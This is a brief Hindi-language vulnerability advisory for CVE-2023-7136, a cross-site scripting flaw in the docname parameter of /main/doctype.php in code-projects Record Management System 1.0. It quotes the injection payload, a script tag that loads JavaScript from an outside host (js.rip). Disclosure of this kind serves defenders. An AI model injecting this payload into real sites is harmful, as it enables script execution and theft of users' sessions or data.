CVE-2023-7136

सारांश

code-projects Record Management System 1.0 में एक समस्या के रूप में वर्गीकृत भेद्यता पाई गई है। इस भेद्यता से प्रभावित है /main/doctype.php फ़ाइल की अज्ञात कार्यक्षमता, जो Document Type Handler घटक का हिस्सा है। docname तर्क में इनपुट "><script src="https://js.rip/b23tmbxf49"></script> के साथ हेरफेर करने से क्रॉस साइट स्क्रिप्टिंग होती है। हमला दूरस्थ रूप से शुरू किया जा सकता है। एक्सप्लॉइट को सार्वजनिक रूप से प्रकट किया गया है और इसका उपयोग किया जा सकता है। इस भेद्यता का संबद्ध पहचानकर्ता VDB-249139 है।

• CVEsअनुसंधान

  सामान्य भेद्यताएँ और जोखिम